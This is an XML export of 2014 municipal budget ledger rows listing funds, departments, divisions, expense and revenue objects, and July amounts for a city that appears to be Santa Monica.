<row _id="6129"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>566640.0</object><object_description>STATE RECYCLING PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>44500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44500.0</total></row>
<row _id="6130"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4410.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4410.0</total></row>
<row _id="6131"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>53</fund_id><fund_name>Parks and Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>514</division_id><division_name>OPEN SPACE MANAGEMENT</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6132"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401900.0</object><object_description>FALSE ALARM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-8000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8000.0</total></row>
<row _id="6133"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>153750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>153750.0</total></row>
<row _id="6134"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2844.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2844.0</total></row>
<row _id="6135"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407480.0</object><object_description>AIRPORT PARK DROP IN PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-9585.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9585.0</total></row>
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<row _id="6162"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="6163"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1006377.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1006377.0</total></row>
<row _id="6164"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>856.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>856.0</total></row>
<row _id="6165"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>566120.0</object><object_description>EMPLOYEE SERVICE AWARDS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>39500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39500.0</total></row>
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<row _id="6167"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>229911.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>229911.0</total></row>
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<row _id="6169"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401003.0</object><object_description>SWIM CENTER-SWIM PASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-227623.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-227623.0</total></row>
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<row _id="6171"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1452.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1452.0</total></row>
<row _id="6172"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2236.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2236.0</total></row>
<row _id="6173"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561402.0</object><object_description>CLINICAL SUPERVISION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7385.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7385.0</total></row>
<row _id="6174"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>33074.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>33074.0</total></row>
<row _id="6175"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>44528.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44528.0</total></row>
<row _id="6176"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1482.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1482.0</total></row>
<row _id="6177"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>997.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>997.0</total></row>
<row _id="6178"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>173336.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>173336.0</total></row>
<row _id="6179"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>209.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="6180"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578310.0</object><object_description>POLICE BEACH PATROL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>325128.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>325128.0</total></row>
<row _id="6181"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1782557.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1782557.0</total></row>
<row _id="6182"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>406000.0</object><object_description>ESTIMATED FEE INCREASES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6183"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577703.0</object><object_description>PROP A REIMBURSEMENT-ADMIN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-50000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="6184"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407790.0</object><object_description>CHILDCARE LINKAGE FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-572165.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-572165.0</total></row>
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<row _id="6212"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7638.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7638.0</total></row>
<row _id="6213"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>223438.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>223438.0</total></row>
<row _id="6214"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>144.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="6215"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>543.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>543.0</total></row>
<row _id="6216"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2359.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2359.0</total></row>
<row _id="6217"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="6218"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>24155.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24155.0</total></row>
<row _id="6219"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>556.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>556.0</total></row>
<row _id="6220"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577580.0</object><object_description>BEACH / PIER REIMBURSEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>162285.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>162285.0</total></row>
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<row _id="6222"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401610.0</object><object_description>LIBRARY CAFE RENT</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-40000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-40000.0</total></row>
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<row _id="6226"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19586.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19586.0</total></row>
<row _id="6227"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1529.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1529.0</total></row>
<row _id="6228"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>201952.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>201952.0</total></row>
<row _id="6229"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19081.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19081.0</total></row>
<row _id="6230"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7875.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7875.0</total></row>
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<row _id="6232"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>818.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>818.0</total></row>
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<row _id="6234"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2292.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2292.0</total></row>
<row _id="6235"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2383.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2383.0</total></row>
<row _id="6236"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17447.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17447.0</total></row>
<row _id="6237"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1144.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1144.0</total></row>
